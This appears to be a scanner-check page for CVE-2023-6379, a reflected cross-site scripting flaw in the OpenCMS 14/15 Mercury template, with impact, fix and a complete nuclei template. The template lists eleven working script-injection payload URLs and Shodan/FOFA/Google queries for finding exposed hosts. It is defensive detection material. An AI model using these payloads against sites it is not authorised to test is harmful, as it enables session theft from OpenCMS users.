OpenCMS 14 & 15 - Cross Site Scripting

mediumseverity

6.1CVSS score

1.8%likelihood of exploitation, next 30 days

78%of all CVEs are less likely

Readycheck to confirm it

Cross-site scripting (XSS) vulnerability in Alkacon Software Open CMS, affecting versions 14 and 15 of the 'Mercury' template.

Impact

Unauthenticated attackers can inject malicious JavaScript through multiple parameters in OpenCMS Mercury template pages to steal user session cookies and execute attacks against OpenCMS users.

Fix

Update to version OpenCMS 16

How to confirm it

Send: GET {{BaseURL}}{{paths}}
Positive when: contains "\"><script>alert(document.domain)</script>\" />" and "OpenCms" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-6379 -u <target>

The full check

id: CVE-2023-6379

info:
  name: OpenCMS 14 & 15 - Cross Site Scripting
  author: msegoviag
  severity: medium
  description: |
    Cross-site scripting (XSS) vulnerability in Alkacon Software Open CMS, affecting versions 14 and 15 of the 'Mercury' template.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through multiple parameters in OpenCMS Mercury template pages to steal user session cookies and execute attacks against OpenCMS users.
  remediation: |
    Update to version OpenCMS 16
  reference:
    - https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2023-6379
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6379
    - https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-alkacon-software-opencms
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://github.com/msegoviag/msegoviag
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-6379
    cwe-id: CWE-79
    epss-score: 0.01752
    epss-percentile: 0.7808
    cpe: cpe:2.3:a:alkacon:opencms:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 11
    vendor: alkacon
    product: opencms
    shodan-query:
      - title:"opencms"
      - http.title:"opencms"
      - cpe:"cpe:2.3:a:alkacon:opencms"
      - /opencms/
    fofa-query: title="opencms"
    google-query: intitle:"opencms"
  tags: cve2023,cve,opencms,xss,alkacon,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}{{paths}}"
    payloads:
      paths:
        - '/tagebuch/eintraege/index.html?reloaded&page=1">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E'
        - '/list-editor/index.html?reloaded&page=3">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E'
        - '/advanced-elements/list/index.html?reloaded&sort=date_asc&page=3">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E'
        - '/advanced-elements/list/list-filters/index.html?reloaded&sort=date_asc&page=2">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E'
        - '/lists/compact/index.html?reloaded&sort=date_desc&page=2">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E'
        - '/lists/elaborate/index.html?reloaded&sort=date_desc&page=2">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E'
        - '/lists/text-tiles/index.html?reloaded&sort=date_asc&page=2">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E'
        - '/lists/masonry/index.html?reloaded&sort=date_asc&page=2">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E'
        - '/blog/articles/index.html?reloaded&page=2">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E'
        - '/advanced-elements/form/index.html?formsubmit=12&formaction1=submit&InputField-11939054842=mrs&InputField-21939054842=190806&InputField-31939054842=403105&InputField-41939054842=2&InputField-51939054842=&InputField-61939054842=1&captcha_token_id=1"><script>alert(document.domain)<%2fscript>ufs5prh3qfe&captchaphrase1939054842=1'
        - '/content-elements/job-ad/index.html?reloaded&sort=date_desc&page=1">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E'

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"><script>alert(document.domain)</script>" />'
          - 'OpenCms'
        condition: and

      - type: word
        part: content_type
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from